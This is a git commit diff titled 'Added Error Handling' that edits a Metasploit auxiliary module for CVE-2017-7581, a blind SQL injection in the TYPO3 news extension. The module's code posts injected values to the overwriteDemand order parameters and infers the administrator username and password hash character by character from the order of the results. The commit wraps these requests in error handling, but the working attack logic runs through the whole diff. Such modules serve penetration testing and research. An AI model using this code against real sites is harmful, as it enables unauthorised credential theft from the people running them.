Added Error Handling
parent
1d51cf6d24
commit
9e23997c3d
|
@ -12,34 +12,35 @@ class MetasploitModule < Msf::Auxiliary
|
||||||
super(update_info(info,
|
super(update_info(info,
|
||||||
'Name' => 'TYPO3 News Module SQL Injection',
|
'Name' => 'TYPO3 News Module SQL Injection',
|
||||||
'Description' => %q{
|
'Description' => %q{
|
||||||
This module exploits a SQL Injection vulnerability In TYPO3 NewsController.php
|
This module exploits a SQL Injection vulnerability In TYPO3 NewsController.php
|
||||||
in the news module 5.3.2 and earlier, allows unauthenticated user to execute arbitrary
|
in the news module 5.3.2 and earlier. It allows an unauthenticated user to execute arbitrary
|
||||||
SQL commands via vectors involving overwriteDemand for order and OrderByAllowed.
|
SQL commands via vectors involving overwriteDemand and OrderByAllowed. The SQL injection
|
||||||
This essentially means an attacker can obtain user credentials hashes.
|
can be used to obtain password hashes for application user accounts. This module has been
|
||||||
|
tested on TYPO3 3.16.0 running news extension 5.0.0.
|
||||||
|
|
||||||
This module tries to extract username and password hash of the administrator user.
|
This module tries to extract username and password hash of the administrator user.
|
||||||
It tries to inject sql and check every letter of a pattern, to see
|
It tries to inject sql and check every letter of a pattern, to see
|
||||||
if it belongs to the username or password it tries to alter the ordering of results. If
|
if it belongs to the username or password it tries to alter the ordering of results. If
|
||||||
the letter doesn't belong to the word being extracted then all results are inverted
|
the letter doesn't belong to the word being extracted then all results are inverted
|
||||||
(News #2 appears before News #1, so Pattern2 before Pattern1), instead if the letter belongs
|
(News #2 appears before News #1, so Pattern2 before Pattern1), instead if the letter belongs
|
||||||
to the word being extracted then the results are in proper order (News #1 appers before News #2,
|
to the word being extracted then the results are in proper order (News #1 appears before News #2,
|
||||||
so Pattern1 before Pattern2)
|
so Pattern1 before Pattern2)
|
||||||
},
|
},
|
||||||
'License' => MSF_LICENSE,
|
'License' => MSF_LICENSE,
|
||||||
'Author' =>
|
'Author' =>
|
||||||
[
|
[
|
||||||
'Marco Rivoli', #MSF code
|
'Marco Rivoli', # MSF code
|
||||||
'Charles Fol' # initial discovery, POC
|
'Charles Fol' # initial discovery, POC
|
||||||
],
|
],
|
||||||
'References' =>
|
'References' =>
|
||||||
[
|
[
|
||||||
[ 'CVE', '2017-7581' ],
|
['CVE', '2017-7581'],
|
||||||
[ 'URL', 'http://www.ambionics.io/blog/typo3-news-module-sqli' ], # Advisory
|
['URL', 'http://www.ambionics.io/blog/typo3-news-module-sqli'] # Advisory
|
||||||
],
|
],
|
||||||
'Privileged' => false,
|
'Privileged' => false,
|
||||||
'Platform' => ['php'],
|
'Platform' => ['php'],
|
||||||
'Arch' => ARCH_PHP,
|
'Arch' => ARCH_PHP,
|
||||||
'Targets' => [[ 'Automatic', { }]],
|
'Targets' => [['Automatic', {}]],
|
||||||
'DisclosureDate' => 'Apr 6 2017',
|
'DisclosureDate' => 'Apr 6 2017',
|
||||||
'DefaultTarget' => 0))
|
'DefaultTarget' => 0))
|
||||||
|
|
||||||
|
@ -90,6 +91,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||||
digit_charset,
|
digit_charset,
|
||||||
patterns)
|
patterns)
|
||||||
size = size.to_i - offset
|
size = size.to_i - offset
|
||||||
|
vprint_status("Retrieving field '#{field}' string (#{size} bytes)...")
|
||||||
data = blind_size(field,
|
data = blind_size(field,
|
||||||
table,
|
table,
|
||||||
condition,
|
condition,
|
||||||
|
@ -107,8 +109,6 @@ class MetasploitModule < Msf::Auxiliary
|
||||||
end
|
end
|
||||||
|
|
||||||
def blind_size(field, table, condition, size, charset, patterns = {})
|
def blind_size(field, table, condition, size, charset, patterns = {})
|
||||||
vprint_status("Retrieving field '#{field}' string (#{size} bytes)...")
|
|
||||||
|
|
||||||
str = ""
|
str = ""
|
||||||
for position in 0..size
|
for position in 0..size
|
||||||
for char in charset.split('')
|
for char in charset.split('')
|
||||||
|
@ -123,37 +123,53 @@ class MetasploitModule < Msf::Auxiliary
|
||||||
end
|
end
|
||||||
|
|
||||||
def test(payload, patterns = {})
|
def test(payload, patterns = {})
|
||||||
res = send_request_cgi({
|
begin
|
||||||
'method' => 'POST',
|
res = send_request_cgi({
|
||||||
'uri' => normalize_uri(target_uri.path,'index.php'),
|
'method' => 'POST',
|
||||||
'vars_get' => {
|
'uri' => normalize_uri(target_uri.path,'index.php'),
|
||||||
'id' => datastore['ID'],
|
'vars_get' => {
|
||||||
'no_cache' => '1'
|
'id' => datastore['ID'],
|
||||||
},
|
'no_cache' => '1'
|
||||||
'vars_post' => {
|
},
|
||||||
'tx_news_pi1[overwriteDemand][OrderByAllowed]' => payload,
|
'vars_post' => {
|
||||||
'tx_news_pi1[search][maximumDate]' => '', # Not required
|
'tx_news_pi1[overwriteDemand][OrderByAllowed]' => payload,
|
||||||
'tx_news_pi1[overwriteDemand][order]' => payload,
|
'tx_news_pi1[search][maximumDate]' => '', # Not required
|
||||||
'tx_news_pi1[search][subject]' => '',
|
'tx_news_pi1[overwriteDemand][order]' => payload,
|
||||||
'tx_news_pi1[search][minimumDate]' => '' # Not required
|
'tx_news_pi1[search][subject]' => '',
|
||||||
}
|
'tx_news_pi1[search][minimumDate]' => '' # Not required
|
||||||
})
|
}
|
||||||
return res.body.index(patterns[:pattern1]) < res.body.index(patterns[:pattern2])
|
})
|
||||||
|
rescue Rex::ConnectionError, Errno::CONNRESET => e
|
||||||
|
print_error("Failed: #{e.class} - #{e.message}")
|
||||||
|
end
|
||||||
|
if res and res.code == 200
|
||||||
|
return res.body.index(patterns[:pattern1]) < res.body.index(patterns[:pattern2])
|
||||||
|
else
|
||||||
|
return false
|
||||||
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
def try_autodetect_patterns
|
def try_autodetect_patterns
|
||||||
print_status("Trying to automatically determine Pattern1 and Pattern2...")
|
print_status("Trying to automatically determine Pattern1 and Pattern2...")
|
||||||
res = send_request_cgi({
|
begin
|
||||||
'method' => 'POST',
|
res = send_request_cgi({
|
||||||
'uri' => normalize_uri(target_uri.path,'index.php'),
|
'method' => 'POST',
|
||||||
'vars_get' => {
|
'uri' => normalize_uri(target_uri.path,'index.php'),
|
||||||
'id' => datastore['ID'],
|
'vars_get' => {
|
||||||
'no_cache' => '1'
|
'id' => datastore['ID'],
|
||||||
}
|
'no_cache' => '1'
|
||||||
})
|
}
|
||||||
news = res.get_html_document.search('div[@itemtype="http://schema.org/Article"]')
|
})
|
||||||
pattern1 = defined?(news[0]) ? news[0].search('span[@itemprop="headline"]').text : ''
|
rescue Rex::ConnectionError, Errno::ECONNRESET => e
|
||||||
pattern2 = defined?(news[1]) ? news[1].search('span[@itemprop="headline"]').text : ''
|
print_error("Failed: #{e.class} - #{e.message}")
|
||||||
|
return '', ''
|
||||||
|
end
|
||||||
|
|
||||||
|
if res and res.code == 200
|
||||||
|
news = res.get_html_document.search('div[@itemtype="http://schema.org/Article"]')
|
||||||
|
pattern1 = defined?(news[0]) ? news[0].search('span[@itemprop="headline"]').text : ''
|
||||||
|
pattern2 = defined?(news[1]) ? news[1].search('span[@itemprop="headline"]').text : ''
|
||||||
|
end
|
||||||
|
|
||||||
if pattern1.to_s.eql?('') || pattern2.to_s.eql?('')
|
if pattern1.to_s.eql?('') || pattern2.to_s.eql?('')
|
||||||
print_status("Couldn't determine Pattern1 and Pattern2 automatically, switching to user speficied values...")
|
print_status("Couldn't determine Pattern1 and Pattern2 automatically, switching to user speficied values...")
|
||||||
|
@ -161,17 +177,15 @@ class MetasploitModule < Msf::Auxiliary
|
||||||
pattern2 = datastore['PATTERN2']
|
pattern2 = datastore['PATTERN2']
|
||||||
end
|
end
|
||||||
|
|
||||||
print_status("Pattern1: #{pattern1}")
|
print_status("Pattern1: #{pattern1}, Pattern2: #{pattern2}")
|
||||||
print_status("Pattern2: #{pattern2}")
|
|
||||||
return pattern1, pattern2
|
return pattern1, pattern2
|
||||||
end
|
end
|
||||||
|
|
||||||
def run
|
def run
|
||||||
pattern1, pattern2 = try_autodetect_patterns
|
pattern1, pattern2 = try_autodetect_patterns
|
||||||
if pattern1 == '' or pattern2 == ''
|
if pattern1 == '' or pattern2 == ''
|
||||||
print_error("Impossible to determine pattern automatically, aborting...")
|
print_error("Unable to determine pattern, aborting...")
|
||||||
else
|
else
|
||||||
print_status("Dumping the username and password hash...")
|
|
||||||
dump_the_hash(:pattern1 => pattern1, :pattern2 => pattern2)
|
dump_the_hash(:pattern1 => pattern1, :pattern2 => pattern2)
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
Loading…
Reference in New Issue